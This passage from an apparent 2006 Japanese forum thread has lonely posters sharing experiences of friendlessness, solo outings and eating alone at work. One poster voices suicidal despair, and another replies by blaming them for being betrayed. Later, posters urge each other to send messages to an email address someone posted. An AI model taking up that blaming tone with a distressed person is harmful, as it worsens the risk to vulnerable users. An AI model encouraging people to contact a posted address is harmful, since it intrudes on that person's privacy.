でもそれが普通っちゃおかしいけど、そういう面倒くさい事がなきゃ友達付き合いなんか絶対出来ないと最近わかった。
都合の悪い事の方が全然多いと。


947 :マジレスさん:2006/05/01(月) 02:24:47 ID:sG5kLAT7
何でも話せる友達がいないとそういう考えになる。

948 :齋藤(ニューハーフ):2006/05/01(月) 12:14:15 ID:u6qv5DRJ
友達がいない。できない。
めんどさくても友達が欲しい。

949 :マジレスさん:2006/05/01(月) 12:43:22 ID:Hg69jjHJ
なぜ友達がほしいの?

950 :マジレスさん:2006/05/01(月) 15:24:01 ID:jcTzBWys
誰か一緒にハンドベルやろうぜ
ひとりじゃ淋しすぎる

951 :マジレスさん:2006/05/02(火) 00:32:29 ID:pvn4oWhI
ハンドベル?楽しそうー!

952 :マジレスさん:2006/05/02(火) 09:25:58 ID:8/bmc0NL
ひとりでハンドベルのほうが達人っぽくみえていいじゃないか

953 :マジレスさん:2006/05/05(金) 03:35:34 ID:wc2PXniP
連休入ってから家族以外と会話してない

954 :マジレスさん:2006/05/05(金) 03:46:09 ID:xSu6J+Sx
俺小さい頃に物凄く仲の良かった子って皆家の事情で引っ越してたりすることに気付いた。

あと毎日遊んでた奴となんのキッカケもなく突然大した仲じゃなくなったり。

突然寂しくなって来てみた。
1に書いてあることが俺のままだった。

955 :マジレスさん:2006/05/05(金) 17:38:49 ID:TmBHDxh9
1に書いてあること結構あてはまるけど、「対人スキルはあるが人間嫌いだ」
ってところはあてはまらないなあ。

956 :マジレスさん:2006/05/05(金) 17:50:56 ID:A+dsvbZa
対人スキルはないが人間割と好き

957 :マジレスさん:2006/05/07(日) 18:29:08 ID:ohOu+OID
せっかくの休みだから友達彼女もいないけど一人で大型ショッピングセンターにいってきた。電化製品コーナーやCDや本をみて買い物したぉ。カップルや家族連れでいっぱい。とんかつ定食食べたぉ。一人はやっぱりつらいぉ。でも勇気出して買い物いけたぉ。

958 :齋藤(ニューハーフ):2006/05/08(月) 11:52:45 ID:f90tKC2i
ゴールデンウィークに会話をした人数は二人。
少ない人数かもしれないが去年より成長している。
来年は五人を目指したい。

959 :マジレスさん:2006/05/08(月) 16:59:45 ID:gpcpLhJ4
斉藤がんばれ
俺はコンビニの店員だけだ

960 :齋藤(ニューハーフ):2006/05/08(月) 17:21:20 ID:f90tKC2i
>>959
ありがとう
がんばるよ

961 :マジレスさん:2006/05/09(火) 02:45:29 ID:gRhY3KDx
生きていても楽しいことが何もない。
ずっと独りぼっちで
18ではじめて等身大で話し合える人と出会えて
努力は美しいと毎晩語り合って
自分を変えようとお互い努力して
でも呆気なく相手に裏切られて
ついに誰も信じられなくなって
宗教に誘われたり金をぼったくられたり、
それでも努力すれば何かを掴めるとただそれだけを信じて頑張ってきたけど
物事がうまくいかない
もう疲れた
何のために生きてるんだろう
このまま朝がもうこなければいいのに
友達がいない人間なんて魅力ないんだろうな


962 :マジレスさん:2006/05/09(火) 03:25:53 ID:XzHVPeMV
裏切られる方に問題があるのに気が付かない件について

963 :マジレスさん:2006/05/09(火) 04:29:32 ID:KI4UGwJy
そりゃ詭弁さ

964 :マジレスさん:2006/05/09(火) 05:09:23 ID:4cVTG7uM
みんな友達に依存しすぎw大事なのは一人でも行動するということが大事。

965 :マジレスさん:2006/05/09(火) 06:15:33 ID:iP4mSAx/
偉そうな事言うようだけど、一人でいれる強さも大切だけど、
依存しあう事も大切だと…。人間なんだしさ、生きてんだしさ…

966 :マジレスさん:2006/05/09(火) 10:02:34 ID:gRhY3KDx
>>962
そう。裏切られる自分の醜さが嫌で死にたいんだ

967 :齋藤(ニューハーフ):2006/05/09(火) 15:03:48 ID:JjDjJO5h
>>966
裏切られるのはいやだよ
人間の表裏がこの世で一番こわいよ

968 :マジレスさん:2006/05/09(火) 15:11:28 ID:vmx6yKPL


969 :マジレスさん:2006/05/09(火) 15:17:19 ID:5idh2C4V
齋藤
凄い ID だ

970 :齋藤(ニューハーフ):2006/05/09(火) 16:41:06 ID:JjDjJO5h
>>969
そうかな?

971 :マジレスさん:2006/05/13(土) 15:32:15 ID:pwUk+4Ox
一人で旅行に行ってきた。
お土産渡した職場の人に、友達と行けばいいのにとか言われた。
いや、単独行動好きなんだよ、放っておいて…。
そもそも、平日旅行に付き合ってくれる人なんかいないよ。
土日休めない会社だもの…

972 :マジレスさん:2006/05/14(日) 02:54:39 ID:stonQzjQ
友達つき合いってのは、楽しさと、たまに感じる面倒くささが8:2くらいの割合であると思うんだが、その2割すらうっとうしいと感じるようになると、ここの住人になる訳だな。

973 :マジレスさん:2006/05/14(日) 03:17:23 ID:kUPQpskQ
>972
おもしろいIDだ


974 :マジレスさん:2006/05/14(日) 22:27:22 ID:QB32fHen
普段から浮いてるとか価値観が人と違うよねって職場やら地元友達に言われてきた。
あるイベントがあって友達(約20人)に電話したりメールで誘ったりして初めて俺には友達って呼べる人がいないって思えた。
博物館やキャバクラ、映画や芝居全部一人。断られる理由は興味ない!って言われてきて自分の中で否定してきたけどもう限界。今まで、「たまに誘ってあげなきゃ可哀相」と思って自分を誘ってたんじゃないかと思えてきた。

975 :マジレスさん:2006/05/15(月) 23:39:07 ID:3jCqYu5W
平日は家と職場の往復
休みの日は一人で過ごすことが多いです。
なかなか友達を作る機会がありません・・・


976 :マジレスさん:2006/05/16(火) 00:12:04 ID:IkejD+sW
>>974
やっときずいたか・・・

977 :マジレスさん:2006/05/17(水) 23:34:01 ID:/sve6jl9
>>971
私も一人旅が大好きだから
ここ数年他人と旅行した記憶がない。
でもお土産配るときはそう言われるのが嫌で
本当の事は言えない。
寧ろ最近は架空の友達作って言い訳してるが、
なんか、その時点で、もう終わってるよなぁ自分、と。orz


978 :マジレスさん:2006/05/17(水) 23:37:17 ID:no6nI2Wm
一人の自分に悦に浸るのもいいが、ほどほどに。

979 :マジレスさん:2006/05/18(木) 00:04:04 ID:Sm+FLyAy
今高3だけど3年間で友達全然つくれなかった。
クラスでは空気みたいな存在なんだけど高校最後の年だし思い出つくりたい。
今更だけどどうやって友達つくればいいのかな?

980 :マジレスさん:2006/05/18(木) 00:06:55 ID:0iBlBU3G
さすがにもう遅い。
大学で友達つくっとけ

981 :マジレスさん:2006/05/18(木) 02:51:46 ID:PCcUTeks
会社で毎日一人でご飯食べてます!
女だらけの職場だから、周りは女のグループだらけ。
私は昔から一匹狼タイプだったから全然平気なんだけど、
周りの「一人で食べてて楽しくないのかな?」「何で一人なんだろう?」的な視線がウザイ

982 :マジレスさん:2006/05/18(木) 05:36:31 ID:YJSOyCFS
いつもぎりぎりフルカウントまで待ってひたすら待ち続けて見逃し三振。打ちにいってもハーフスィング止まり。そりゃあ打ちたいさ。誰か打撃改造してくれる人はおらんか?

983 :マジレスさん:2006/05/18(木) 11:57:22 ID:D6R7wpOR
>私は昔から一匹狼タイプだったから全然平気なんだけど、
>周りの「一人で食べてて楽しくないのかな?」「何で一人なんだろう?」的な視線がウザイ

そういうの気にしてる時点で一匹狼失格

984 :マジレスさん:2006/05/18(木) 14:50:54 ID:FQGUSCYU
可愛い一匹ウサギたんをいぢめるな


985 :マジレスさん:2006/05/18(木) 16:17:37 ID:OfYeWbqT
>>984
なんとなく言わないでおこうとおもったけど敢えて言うけど


きもいな…

986 :マジレスさん:2006/05/18(木) 19:12:44 ID:/2vaZ1jP
皆仲良くしようよ
せめてここではさ・・・

987 :マジレスさん:2006/05/18(木) 19:19:25 ID:x0ZhBx5D
何か揉め事かな?

988 :マジレスさん:2006/05/18(木) 19:43:10 ID:FQGUSCYU
どうもすいません
ウサギたんがいじめられてたのでつい

みんな仲良くしてね

一匹出歯亀より


989 :マジレスさん:2006/05/18(木) 19:52:12 ID:x0ZhBx5D
出っ放し

予測変換!

990 :マジレスさん:2006/05/18(木) 20:12:50 ID:dp/EYhM8
http.eighteen@docomo.ne.jp

991 :マジレスさん:2006/05/18(木) 20:16:17 ID:x0ZhBx5D
何?アドレス?

httpとかいって変わってる

992 :マジレスさん:2006/05/18(木) 21:39:31 ID:D6R7wpOR
突撃よろ

993 :マジレスさん:2006/05/18(木) 21:44:05 ID:bb11pief
だれか送れよ>>990

994 :マジレスさん:2006/05/18(木) 21:47:51 ID:x0ZhBx5D
君が送ってみてよ!

995 :マジレスさん:2006/05/19(金) 01:04:56 ID:LkgPEnPv
>>984サン

ありがとう!
そう、私は一匹狼と言うより一匹ウサギなんです

996 :マジレスさん:2006/05/19(金) 01:21:24 ID:K52yIxcX
1000

997 :マジレスさん:2006/05/19(金) 01:37:52 ID:OCfRcqdr
>>995
貴様にはこうしてくれる
ttp://homepage3.nifty.com/souko2/img/4370.gif

998 :齋藤:2006/05/19(金) 09:24:51 ID:BLKyvimI
998

999 :マジレスさん:2006/05/19(金) 09:25:47 ID:BLKyvimI
999

1000 :マジレスさん:2006/05/19(金) 09:26:38 ID:BLKyvimI
1000

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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